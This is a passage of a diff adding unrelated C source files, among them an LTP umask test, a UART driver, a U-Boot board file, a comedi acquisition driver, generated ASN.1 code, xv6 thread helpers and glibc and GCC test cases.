+ +#include +#include +#include +#include +#include +#include "test.h" +#include "usctest.h" + +extern void setup(); +extern void cleanup(); + + + +const char *TCID="umask01"; /* Test program identifier. */ +int TST_TOTAL=1; /* Total number of test cases. */ +extern int Tst_count; /* Test Case counter for tst_* routines */ + +int exp_enos[]={0, 0}; + +int +main(int ac, char **av) +{ + int lc; /* loop counter */ + const char *msg; /* message returned from parse_opts */ + + /*************************************************************** + * parse standard options + ***************************************************************/ + if ( (msg=parse_opts(ac, av, (option_t *) NULL, NULL)) != (char *) NULL ) + tst_brkm(TBROK, cleanup, "OPTION PARSING ERROR - %s", msg); + + /*************************************************************** + * perform global setup for test + ***************************************************************/ + setup(); + + /* set the expected errnos... */ + TEST_EXP_ENOS(exp_enos); + + /*************************************************************** + * check looping state if -c option given + ***************************************************************/ + for (lc=0; TEST_LOOPING(lc); lc++) { + + /* reset Tst_count in case we are looping. */ + Tst_count=0; + + /* + * Call umask(2) + */ + TEST(umask(022)); + + /* check return code */ + if ( TEST_RETURN == -1 ) { + TEST_ERROR_LOG(TEST_ERRNO); + tst_resm(TFAIL, "umask(022) Failed, errno=%d : %s", + TEST_ERRNO, strerror(TEST_ERRNO)); + } else { + /*************************************************************** + * only perform functional verification if flag set (-f not given) + ***************************************************************/ + if ( STD_FUNCTIONAL_TEST ) { + /* No Verification test, yet... */ + tst_resm(TPASS, "umask(022) returned %d", TEST_RETURN); + } + } + } /* End for TEST_LOOPING */ + + /*************************************************************** + * cleanup and exit + ***************************************************************/ + cleanup(); + + return 0; +} /* End main */ + +/*************************************************************** + * setup() - performs all ONE TIME setup for this test. + ***************************************************************/ +void +setup() +{ + void trapper(); + + /* capture signals */ + tst_sig(NOFORK, DEF_HANDLER, cleanup); + + /* Pause if that option was specified */ + TEST_PAUSE; + +} /* End setup() */ + + +/*************************************************************** + * cleanup() - performs all ONE TIME cleanup for this test at + * completion or premature exit. + ***************************************************************/ +void +cleanup() +{ + /* + * print timing stats if that option was specified. + * print errno log if that option was specified. + */ + TEST_CLEANUP; + + /* exit with return code appropriate for results */ + tst_exit(); +} /* End cleanup() */ diff --git a/pool/shard011/C/0142066_uart.c b/pool/shard011/C/0142066_uart.c new file mode 100644 index 0000000000000000000000000000000000000000..e1e36a7195ef55b5019135096ceec91ec607a3f9 --- /dev/null +++ b/pool/shard011/C/0142066_uart.c @@ -0,0 +1,82 @@ +#include +#include +#include + +#pragma GCC diagnostic ignored "-Wsuggest-attribute=noreturn" + +// base addrs +#define UART0_BASE ((mackerel_addr_t)0x1C020000) +#define UART1_BASE ((mackerel_addr_t)0x1C021000) +#define UART2_BASE ((mackerel_addr_t)0x1C022000) +#define UART3_BASE ((mackerel_addr_t)0x1C023000) + +// #ports +#define NUM_PORTS 4 + +unsigned serial_console_port = 0; +unsigned serial_debug_port = 0; + +// port base addresses for lookup by port no +static const mackerel_addr_t portbases[NUM_PORTS] = + { UART0_BASE, UART1_BASE, UART2_BASE, UART3_BASE }; +// the mackerel devices +static apm88xxxx_pc16550_t ports[NUM_PORTS]; + +errval_t serial_init(unsigned port, bool initialize_hw) +{ + if (port >= NUM_PORTS) { + return SYS_ERR_SERIAL_PORT_INVALID; + } + + if (ports[port].base == portbases[port]) { + return SYS_ERR_OK; + } + + apm88xxxx_pc16550_t *uart = &ports[port]; + apm88xxxx_pc16550_initialize(uart, portbases[port]); + + if (!initialize_hw) { + // hw initialized, this is for non-bsp cores, where hw has been + // initialized by bsp core and we come through here just to setup our + // local apm88xxxx_pc16550 struct for the port. + return SYS_ERR_OK; + } + + panic("device init NYI"); + return SYS_ERR_OK; +} + +errval_t serial_early_init(unsigned port) +{ + // XXX: early init we don't need to do anything? + // NOTE: adapted from x86/serial.c + return SYS_ERR_OK; +} + +/** + * \brief Prints a single character to a serial port. + */ +void serial_putchar(unsigned port, char c) +{ + assert(port < NUM_PORTS); + assert(ports[port].base != 0); + // Wait until FIFO can hold more characters + while(!apm88xxxx_pc16550_LSR_thre_rdf(&ports[port])); + // Write character + apm88xxxx_pc16550_THR_thr_wrf(&ports[port], c); +} + +/** + * \brief Reads a single character from the default serial port. + * This function spins waiting for a character to arrive. + */ +char serial_getchar(unsigned port) +{ + assert(port < NUM_PORTS); + assert(ports[port].base != 0); + + // Wait until character available + while(!apm88xxxx_pc16550_LSR_dr_rdf(&ports[port])); + // Read a character from FIFO + return apm88xxxx_pc16550_RBR_rbr_rdf(&ports[port]); +} diff --git a/pool/shard011/C/0142067_PPChameleonEVB.c b/pool/shard011/C/0142067_PPChameleonEVB.c new file mode 100644 index 0000000000000000000000000000000000000000..ada87ed6d0692b62bf901a40aa1d3dd1664f99c7 --- /dev/null +++ b/pool/shard011/C/0142067_PPChameleonEVB.c @@ -0,0 +1,282 @@ +/* Copyright Statement: + * + * This software/firmware and related documentation ("MediaTek Software") are + * protected under relevant copyright laws. The information contained herein + * is confidential and proprietary to MediaTek Inc. and/or its licensors. + * Without the prior written permission of MediaTek inc. and/or its licensors, + * any reproduction, modification, use or disclosure of MediaTek Software, + * and information contained herein, in whole or in part, shall be strictly prohibited. + * + * MediaTek Inc. (C) 2010. All rights reserved. + * + * BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES + * THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE") + * RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER ON + * AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT. + * NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE + * SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR + * SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH + * THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES + * THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES + * CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK + * SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR + * STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND + * CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE, + * AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE, + * OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO + * MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE. + * + * The following software/firmware and/or related documentation ("MediaTek Software") + * have been modified by MediaTek Inc. All revisions are subject to any receiver's + * applicable license agreements with MediaTek Inc. + */ + +/* + * (C) Copyright 2003 + * DAVE Srl + * http://www.dave-tech.it + * http://www.wawnet.biz + * mailto:info@wawnet.biz + * + * See file CREDITS for list of people who contributed to this + * project. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, + * MA 02111-1307 USA + */ + +#include +#include +#include +#include + +DECLARE_GLOBAL_DATA_PTR; + +/* ------------------------------------------------------------------------- */ + +int board_early_init_f (void) +{ + out32(GPIO0_OR, CONFIG_SYS_NAND0_CE); /* set initial outputs */ + out32(GPIO0_OR, CONFIG_SYS_NAND1_CE); /* set initial outputs */ + + /* + * IRQ 0-15 405GP internally generated; active high; level sensitive + * IRQ 16 405GP internally generated; active low; level sensitive + * IRQ 17-24 RESERVED + * IRQ 25 (EXT IRQ 0) + * IRQ 26 (EXT IRQ 1) + * IRQ 27 (EXT IRQ 2) + * IRQ 28 (EXT IRQ 3) + * IRQ 29 (EXT IRQ 4) + * IRQ 30 (EXT IRQ 5) + * IRQ 31 (EXT IRQ 6) + */ + mtdcr(UIC0SR, 0xFFFFFFFF); /* clear all ints */ + mtdcr(UIC0ER, 0x00000000); /* disable all ints */ + mtdcr(UIC0CR, 0x00000000); /* set all to be non-critical*/ + mtdcr(UIC0PR, 0xFFFFFF80); /* set int polarities */ + mtdcr(UIC0TR, 0x10000000); /* set int trigger levels */ + mtdcr(UIC0VCR, 0x00000001); /* set vect base=0,INT0 highest priority*/ + mtdcr(UIC0SR, 0xFFFFFFFF); /* clear all ints */ + + /* + * EBC Configuration Register: set ready timeout to 512 ebc-clks -> ca. 15 us + */ +#if 1 /* test-only */ + mtebc (EBC0_CFG, 0xa8400000); /* ebc always driven */ +#else + mtebc (EBC0_CFG, 0x28400000); /* ebc in high-z */ +#endif + return 0; +} + +/* ------------------------------------------------------------------------- */ + +int misc_init_f (void) +{ + return 0; /* dummy implementation */ +} + +extern flash_info_t flash_info[]; /* info for FLASH chips */ + +int misc_init_r (void) +{ + /* adjust flash start and size as well as the offset */ + gd->bd->bi_flashstart = 0 - flash_info[0].size; + gd->bd->bi_flashoffset= flash_info[0].size - CONFIG_SYS_MONITOR_LEN; +#if 0 + volatile unsigned short *fpga_mode = + (unsigned short *)((ulong)CONFIG_SYS_FPGA_BASE_ADDR + CONFIG_SYS_FPGA_CTRL); + volatile unsigned char *duart0_mcr = + (unsigned char *)((ulong)DUART0_BA + 4); + volatile unsigned char *duart1_mcr = + (unsigned char *)((ulong)DUART1_BA + 4); + + bd_t *bd = gd->bd; + char * tmp; /* Temporary char pointer */ + unsigned char *dst; + ulong len = sizeof(fpgadata); + int status; + int index; + int i; + unsigned long CPC0_CR0Reg; + + dst = malloc(CONFIG_SYS_FPGA_MAX_SIZE); + if (gunzip (dst, CONFIG_SYS_FPGA_MAX_SIZE, (uchar *)fpgadata, &len) != 0) { + printf ("GUNZIP ERROR - must RESET board to recover\n"); + do_reset (NULL, 0, 0, NULL); + } + + status = fpga_boot(dst, len); + if (status != 0) { + printf("\nFPGA: Booting failed "); + switch (status) { + case ERROR_FPGA_PRG_INIT_LOW: + printf("(Timeout: INIT not low after asserting PROGRAM*)\n "); + break; + case ERROR_FPGA_PRG_INIT_HIGH: + printf("(Timeout: INIT not high after deasserting PROGRAM*)\n "); + break; + case ERROR_FPGA_PRG_DONE: + printf("(Timeout: DONE not high after programming FPGA)\n "); + break; + } + + /* display infos on fpgaimage */ + index = 15; + for (i=0; i<4; i++) { + len = dst[index]; + printf("FPGA: %s\n", &(dst[index+1])); + index += len+3; + } + putc ('\n'); + /* delayed reboot */ + for (i=20; i>0; i--) { + printf("Rebooting in %2d seconds \r",i); + for (index=0;index<1000;index++) + udelay(1000); + } + putc ('\n'); + do_reset(NULL, 0, 0, NULL); + } + + puts("FPGA: "); + + /* display infos on fpgaimage */ + index = 15; + for (i=0; i<4; i++) { + len = dst[index]; + printf("%s ", &(dst[index+1])); + index += len+3; + } + putc ('\n'); + + free(dst); + + /* + * Reset FPGA via FPGA_DATA pin + */ + SET_FPGA(FPGA_PRG | FPGA_CLK); + udelay(1000); /* wait 1ms */ + SET_FPGA(FPGA_PRG | FPGA_CLK | FPGA_DATA); + udelay(1000); /* wait 1ms */ +#endif + +#if 0 + /* + * Enable power on PS/2 interface + */ + *fpga_mode |= CONFIG_SYS_FPGA_CTRL_PS2_RESET; + + /* + * Enable interrupts in exar duart mcr[3] + */ + *duart0_mcr = 0x08; + *duart1_mcr = 0x08; +#endif + return (0); +} + +/* + * Check Board Identity: + */ + +int checkboard (void) +{ + char str[64]; + int i = getenv_r ("serial#", str, sizeof(str)); + + puts ("Board: "); + + if (i == -1) { + puts ("### No HW ID - assuming PPChameleonEVB"); + } else { + puts(str); + } + + putc ('\n'); + + return 0; +} + +/* ------------------------------------------------------------------------- */ + +int testdram (void) +{ + /* TODO: XXX XXX XXX */ + printf ("test: 16 MB - ok\n"); + + return (0); +} + +/* ------------------------------------------------------------------------- */ + +#ifdef CONFIG_CFB_CONSOLE +# ifdef CONFIG_CONSOLE_EXTRA_INFO +# include +extern GraphicDevice smi; + +void video_get_info_str (int line_number, char *info) +{ + uint pvr = get_pvr (); + + /* init video info strings for graphic console */ + switch (line_number) { + case 1: + switch (pvr) { + case PVR_405EP_RB: + sprintf (info, " AMCC PowerPC 405EP Rev. B"); + break; + default: + sprintf (info, " AMCC PowerPC 405EP Rev. "); + break; + } + return; + case 2: + sprintf (info, " DAVE Srl PPChameleonEVB - www.dave-tech.it"); + return; + case 3: + sprintf (info, " %s", smi.modeIdent); + return; + } + + /* no more info lines */ + *info = 0; + return; +} +# endif /* CONFIG_CONSOLE_EXTRA_INFO */ +#endif /* CONFIG_CFB_CONSOLE */ diff --git a/pool/shard011/C/0142068_s2qcr.c b/pool/shard011/C/0142068_s2qcr.c new file mode 100644 index 0000000000000000000000000000000000000000..1eb3dd3bda55fa52501fd011e189d7af6b591898 --- /dev/null +++ b/pool/shard011/C/0142068_s2qcr.c @@ -0,0 +1,76 @@ +/* s2qcr.c + * + * Copyright 2006-2012 David G. Barnes, Paul Bourke, Christopher Fluke + * + * This file is part of S2PLOT. + * + * S2PLOT is free software: you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * S2PLOT is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with S2PLOT. If not, see . + * + * We would appreciate it if research outcomes using S2PLOT would + * provide the following acknowledgement: + * + * "Three-dimensional visualisation was conducted with the S2PLOT + * progamming library" + * + * and a reference to + * + * D.G.Barnes, C.J.Fluke, P.D.Bourke & O.T.Parry, 2006, Publications + * of the Astronomical Society of Australia, 23(2), 82-93. + * + */ + +#include +#include +#include +#include "s2plot.h" + +int main(int argc, char *argv[]) +{ + int i; /* Loop variable */ + int N = 50; /* Number of points */ + float x[50], y[50], z[50]; /* Coordinates of points */ + float r, g, b; /* RGB colours */ + int symbol = 1; /* Point symbol */ + int offset = 32; /* Starting colour */ + + srand48((long)time(NULL)); /* Seed random numbers */ + for (i=0;iname, __FILE__, __LINE__); + return -1; + } + + value = *(const long *)sptr; + + if((value >= 0L && value <= 4095L)) { + /* Constraint check succeeded */ + return 0; + } else { + ASN__CTFAIL(app_key, td, sptr, + "%s: constraint failed (%s:%d)", + td->name, __FILE__, __LINE__); + return -1; + } +} + +/* + * This type is implemented using NativeInteger, + * so here we adjust the DEF accordingly. + */ +#if !defined(ASN_DISABLE_UPER_SUPPORT) || !defined(ASN_DISABLE_APER_SUPPORT) +asn_per_constraints_t asn_PER_type_S1AP_RNC_ID_constr_1 CC_NOTUSED = { + { APC_CONSTRAINED, 12, 12, 0, 4095 } /* (0..4095) */, + { APC_UNCONSTRAINED, -1, -1, 0, 0 }, + 0, 0 /* No PER value map */ +}; +#endif /* !defined(ASN_DISABLE_UPER_SUPPORT) || !defined(ASN_DISABLE_APER_SUPPORT) */ +static const ber_tlv_tag_t asn_DEF_S1AP_RNC_ID_tags_1[] = { + (ASN_TAG_CLASS_UNIVERSAL | (2 << 2)) +}; +asn_TYPE_descriptor_t asn_DEF_S1AP_RNC_ID = { + "RNC-ID", + "RNC-ID", + &asn_OP_NativeInteger, + asn_DEF_S1AP_RNC_ID_tags_1, + sizeof(asn_DEF_S1AP_RNC_ID_tags_1) + /sizeof(asn_DEF_S1AP_RNC_ID_tags_1[0]), /* 1 */ + asn_DEF_S1AP_RNC_ID_tags_1, /* Same as above */ + sizeof(asn_DEF_S1AP_RNC_ID_tags_1) + /sizeof(asn_DEF_S1AP_RNC_ID_tags_1[0]), /* 1 */ + { +#if !defined(ASN_DISABLE_OER_SUPPORT) + 0, +#endif /* !defined(ASN_DISABLE_OER_SUPPORT) */ +#if !defined(ASN_DISABLE_UPER_SUPPORT) || !defined(ASN_DISABLE_APER_SUPPORT) + &asn_PER_type_S1AP_RNC_ID_constr_1, +#endif /* !defined(ASN_DISABLE_UPER_SUPPORT) || !defined(ASN_DISABLE_APER_SUPPORT) */ + S1AP_RNC_ID_constraint + }, + 0, 0, /* No members */ + 0 /* No specifics */ +}; + diff --git a/pool/shard011/C/0142070_uthread.c b/pool/shard011/C/0142070_uthread.c new file mode 100644 index 0000000000000000000000000000000000000000..94816b16f02a75c95bb510d14e0cb2ed7d5cec27 --- /dev/null +++ b/pool/shard011/C/0142070_uthread.c @@ -0,0 +1,67 @@ +#include "types.h" +#include "stat.h" +#include "fcntl.h" +#include "user.h" +#include "x86.h" +#define PGSIZE (4096) +#define NPROC (64) +#undef NULL +#define NULL ((void*)0) +/* + * This is where you'll need to implement the user-level functions + */ + +sp *start[NPROC]; // array used to keep references to all stacks + +void lock_init(lock_t *lock) { + lock->flag = 0; +} + +void lock_acquire(lock_t *lock) { + while(xchg(&lock->flag, 1) != 0); +} + +void lock_release(lock_t *lock) { + xchg(&lock->flag, 0); +} + +int thread_join(int pid) { + int t_id = join(pid); + if (t_id != -1) { + int i; + for (i = 0; i < NPROC; i++) { + if (start[i]->pid == t_id) { + free(start[i]->stack); + free(start[i]); + break; + } + } + } + return t_id; +} + +int thread_create(void (*start_routine)(void *), void *arg) { + void *stack = malloc(PGSIZE*2); + + if((uint)stack % PGSIZE) { + stack = stack + (PGSIZE - (uint)stack % PGSIZE); + } + int pid = clone(start_routine, arg, stack); + if (pid == -1) { + free(stack); + } + else { + int i; + for (i = 0; i < NPROC; i++) { + if (start[i] == NULL) { + sp *stackptr = malloc(sizeof(sp)); + stackptr->pid = pid; + stackptr->stack = stack; + start[i] = stackptr; + printf(1, "create: pid is %d & stack is %d\n",start[i]->pid,start[i]->stack); + break; + } + } + } + return pid; +} diff --git a/pool/shard011/C/0142071_980827-1.c b/pool/shard011/C/0142071_980827-1.c new file mode 100644 index 0000000000000000000000000000000000000000..c2c92337a8642b3242b1081503250ad7409ea92d --- /dev/null +++ b/pool/shard011/C/0142071_980827-1.c @@ -0,0 +1,29 @@ +/* { dg-do run { target { { *-*-linux* && ilp32 } && powerpc_fprs } } } */ +/* { dg-options -O2 } */ + +extern void exit (int); +extern void abort (void); + +double dval = 0; + +void splat (double d); + +int main(void) +{ + splat(0); + if (dval == 0) + abort(); + exit (0); +} + +void splat (double d) +{ + union { + double f; + unsigned int l[2]; + } u; + + u.f = d + d; + u.l[1] |= 1; + asm volatile ("stfd %0,dval@sdarel(13)" : : "f" (u.f)); +} diff --git a/pool/shard011/C/0142072_adq12b.c b/pool/shard011/C/0142072_adq12b.c new file mode 100644 index 0000000000000000000000000000000000000000..d187a7bf0a55e1e04c34fa362aae05f9268f9f48 --- /dev/null +++ b/pool/shard011/C/0142072_adq12b.c @@ -0,0 +1,289 @@ +/* + comedi/drivers/adq12b.c + driver for MicroAxial ADQ12-B data acquisition and control card + + COMEDI - Linux Control and Measurement Device Interface + Copyright (C) 2000 David A. Schleef + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. +*/ +/* +Driver: adq12b +Description: driver for MicroAxial ADQ12-B data acquisition and control card +Devices: [MicroAxial] ADQ12-B (adq12b) +Author: jeremy theler +Updated: Thu, 21 Feb 2008 02:56:27 -0300 +Status: works + +Driver for the acquisition card ADQ12-B (without any add-on). + + - Analog input is subdevice 0 (16 channels single-ended or 8 differential) + - Digital input is subdevice 1 (5 channels) + - Digital output is subdevice 1 (8 channels) + - The PACER is not supported in this version + +If you do not specify any options, they will default to + + # comedi_config /dev/comedi0 adq12b 0x300,0,0 + + option 1: I/O base address. The following table is provided as a help + of the hardware jumpers. + + address jumper JADR + 0x300 1 (factory default) + 0x320 2 + 0x340 3 + 0x360 4 + 0x380 5 + 0x3A0 6 + + option 2: unipolar/bipolar ADC selection: 0 -> bipolar, 1 -> unipolar + + selection comedi_config option JUB + bipolar 0 2-3 (factory default) + unipolar 1 1-2 + + option 3: single-ended/differential AI selection: 0 -> SE, 1 -> differential + + selection comedi_config option JCHA JCHB + single-ended 0 1-2 1-2 (factory default) + differential 1 2-3 2-3 + + written by jeremy theler + + instituto balseiro + commission nacional de energia atomica + universidad nacional de cuyo + argentina + + 21-feb-2008 + + changed supported devices string (missused the [] and ()) + + 13-oct-2007 + + first try + + +*/ + +#include "../comedidev.h" + +/* address scheme (page 2.17 of the manual) */ +#define ADQ12B_SIZE 16 + +#define ADQ12B_CTREG 0x00 +#define ADQ12B_STINR 0x00 +#define ADQ12B_OUTBR 0x04 +#define ADQ12B_ADLOW 0x08 +#define ADQ12B_ADHIG 0x09 +#define ADQ12B_CONT0 0x0c +#define ADQ12B_CONT1 0x0d +#define ADQ12B_CONT2 0x0e +#define ADQ12B_COWORD 0x0f + +/* mask of the bit at STINR to check end of conversion */ +#define ADQ12B_EOC 0x20 + +#define TIMEOUT 20 + +/* available ranges through the PGA gains */ +static const struct comedi_lrange range_adq12b_ai_bipolar = { 4, { + BIP_RANGE(5), + BIP_RANGE(2), + BIP_RANGE(1), + BIP_RANGE(0.5) + } +}; + +static const struct comedi_lrange range_adq12b_ai_unipolar = { 4, { + UNI_RANGE(5), + UNI_RANGE(2), + UNI_RANGE(1), + UNI_RANGE + (0.5) + } +}; + +struct adq12b_private { + int unipolar; /* option 2 of comedi_config (1 is iobase) */ + int differential; /* option 3 of comedi_config */ + int last_channel; + int last_range; + unsigned int digital_state; +}; + +/* + * "instructions" read/write data in "one-shot" or "software-triggered" + * mode. + */ + +static int adq12b_ai_rinsn(struct comedi_device *dev, + struct comedi_subdevice *s, struct comedi_insn *insn, + unsigned int *data) +{ + struct adq12b_private *devpriv = dev->private; + int n, i; + int range, channel; + unsigned char hi, lo, status; + + /* change channel and range only if it is different from the previous */ + range = CR_RANGE(insn->chanspec); + channel = CR_CHAN(insn->chanspec); + if (channel != devpriv->last_channel || range != devpriv->last_range) { + outb((range << 4) | channel, dev->iobase + ADQ12B_CTREG); + udelay(50); /* wait for the mux to settle */ + } + + /* trigger conversion */ + status = inb(dev->iobase + ADQ12B_ADLOW); + + /* convert n samples */ + for (n = 0; n < insn->n; n++) { + + /* wait for end of conversion */ + i = 0; + do { + /* udelay(1); */ + status = inb(dev->iobase + ADQ12B_STINR); + status = status & ADQ12B_EOC; + } while (status == 0 && ++i < TIMEOUT); + /* } while (++i < 10); */ + + /* read data */ + hi = inb(dev->iobase + ADQ12B_ADHIG); + lo = inb(dev->iobase + ADQ12B_ADLOW); + + /* printk("debug: chan=%d range=%d status=%d hi=%d lo=%d\n", + channel, range, status, hi, lo); */ + data[n] = (hi << 8) | lo; + + } + + /* return the number of samples read/written */ + return n; +} + +static int adq12b_di_insn_bits(struct comedi_device *dev, + struct comedi_subdevice *s, + struct comedi_insn *insn, unsigned int *data) +{ + + /* only bits 0-4 have information about digital inputs */ + data[1] = (inb(dev->iobase + ADQ12B_STINR) & (0x1f)); + + return insn->n; +} + +static int adq12b_do_insn_bits(struct comedi_device *dev, + struct comedi_subdevice *s, + struct comedi_insn *insn, unsigned int *data) +{ + struct adq12b_private *devpriv = dev->private; + int channel; + + for (channel = 0; channel < 8; channel++) + if (((data[0] >> channel) & 0x01) != 0) + outb((((data[1] >> channel) & 0x01) << 3) | channel, + dev->iobase + ADQ12B_OUTBR); + + /* store information to retrieve when asked for reading */ + if (data[0]) { + devpriv->digital_state &= ~data[0]; + devpriv->digital_state |= (data[0] & data[1]); + } + + data[1] = devpriv->digital_state; + + return insn->n; +} + +static int adq12b_attach(struct comedi_device *dev, struct comedi_devconfig *it) +{ + struct adq12b_private *devpriv; + struct comedi_subdevice *s; + int ret; + + ret = comedi_request_region(dev, it->options[0], ADQ12B_SIZE); + if (ret) + return ret; + + devpriv = kzalloc(sizeof(*devpriv), GFP_KERNEL); + if (!devpriv) + return -ENOMEM; + dev->private = devpriv; + + devpriv->unipolar = it->options[1]; + devpriv->differential = it->options[2]; + devpriv->digital_state = 0; + /* + * initialize channel and range to -1 so we make sure we + * always write at least once to the CTREG in the instruction + */ + devpriv->last_channel = -1; + devpriv->last_range = -1; + + ret = comedi_alloc_subdevices(dev, 3); + if (ret) + return ret; + + s = &dev->subdevices[0]; + /* analog input subdevice */ + s->type = COMEDI_SUBD_AI; + if (devpriv->differential) { + s->subdev_flags = SDF_READABLE | SDF_GROUND | SDF_DIFF; + s->n_chan = 8; + } else { + s->subdev_flags = SDF_READABLE | SDF_GROUND; + s->n_chan = 16; + } + + if (devpriv->unipolar) + s->range_table = &range_adq12b_ai_unipolar; + else + s->range_table = &range_adq12b_ai_bipolar; + + s->maxdata = 0xfff; + + s->len_chanlist = 4; /* This is the maximum chanlist length that + the board can handle */ + s->insn_read = adq12b_ai_rinsn; + + s = &dev->subdevices[1]; + /* digital input subdevice */ + s->type = COMEDI_SUBD_DI; + s->subdev_flags = SDF_READABLE; + s->n_chan = 5; + s->maxdata = 1; + s->range_table = &range_digital; + s->insn_bits = adq12b_di_insn_bits; + + s = &dev->subdevices[2]; + /* digital output subdevice */ + s->type = COMEDI_SUBD_DO; + s->subdev_flags = SDF_WRITABLE; + s->n_chan = 8; + s->maxdata = 1; + s->range_table = &range_digital; + s->insn_bits = adq12b_do_insn_bits; + + return 0; +} + +static struct comedi_driver adq12b_driver = { + .driver_name = "adq12b", + .module = THIS_MODULE, + .attach = adq12b_attach, + .detach = comedi_legacy_detach, +}; +module_comedi_driver(adq12b_driver); + +MODULE_AUTHOR("Comedi http://www.comedi.org"); +MODULE_DESCRIPTION("Comedi low-level driver"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142073_tst-tls3.c b/pool/shard011/C/0142073_tst-tls3.c new file mode 100644 index 0000000000000000000000000000000000000000..f768e88d54206672047931f770c2cb3d6a904257 --- /dev/null +++ b/pool/shard011/C/0142073_tst-tls3.c @@ -0,0 +1,215 @@ +/* Copyright (C) 2003-2017 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Ulrich Drepper , 2003. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + . */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define THE_SIG SIGUSR1 + +/* The stack size can be overriden. With a sufficiently large stack + size, thread stacks for terminated threads are freed, but this does + not happen with the default size of 1 MiB. */ +enum { default_stack_size_in_mb = 1 }; +static long stack_size_in_mb; + +#define N 10 +static pthread_t th[N]; + + +static int do_test (void); + +#define TIMEOUT 5 +#define TEST_FUNCTION do_test () +#include "../test-skeleton.c" + +#define CB(n) \ +static void \ +cb##n (void) \ +{ \ + if (th[n] != pthread_self ()) \ + { \ + write_message ("wrong callback\n"); \ + _exit (1); \ + } \ +} +CB (0) +CB (1) +CB (2) +CB (3) +CB (4) +CB (5) +CB (6) +CB (7) +CB (8) +CB (9) +static void (*cbs[]) (void) = +{ + cb0, cb1, cb2, cb3, cb4, cb5, cb6, cb7, cb8, cb9 +}; + + +sem_t s; + + +pthread_barrier_t b; + +#define TOTAL_SIGS 1000 +int nsigs; + + +int +do_test (void) +{ + if (stack_size_in_mb == 0) + stack_size_in_mb = default_stack_size_in_mb; + + if ((uintptr_t) pthread_self () & (TCB_ALIGNMENT - 1)) + { + puts ("initial thread's struct pthread not aligned enough"); + exit (1); + } + + if (pthread_barrier_init (&b, NULL, N + 1) != 0) + { + puts ("barrier_init failed"); + exit (1); + } + + if (sem_init (&s, 0, 0) != 0) + { + puts ("sem_init failed"); + exit (1); + } + + void *h = dlopen ("tst-tls3mod.so", RTLD_LAZY); + if (h == NULL) + { + puts ("dlopen failed"); + exit (1); + } + + void *(*tf) (void *) = dlsym (h, "tf"); + if (tf == NULL) + { + puts ("dlsym for tf failed"); + exit (1); + } + + struct sigaction sa; + sa.sa_handler = dlsym (h, "handler"); + if (sa.sa_handler == NULL) + { + puts ("dlsym for handler failed"); + exit (1); + } + sigemptyset (&sa.sa_mask); + sa.sa_flags = 0; + if (sigaction (THE_SIG, &sa, NULL) != 0) + { + puts ("sigaction failed"); + exit (1); + } + + pthread_attr_t a; + + if (pthread_attr_init (&a) != 0) + { + puts ("attr_init failed"); + exit (1); + } + + if (pthread_attr_setstacksize (&a, stack_size_in_mb * 1024 * 1024) != 0) + { + puts ("attr_setstacksize failed"); + return 1; + } + + int r; + for (r = 0; r < 10; ++r) + { + int i; + for (i = 0; i < N; ++i) + if (pthread_create (&th[i], &a, tf, cbs[i]) != 0) + { + puts ("pthread_create failed"); + exit (1); + } + + 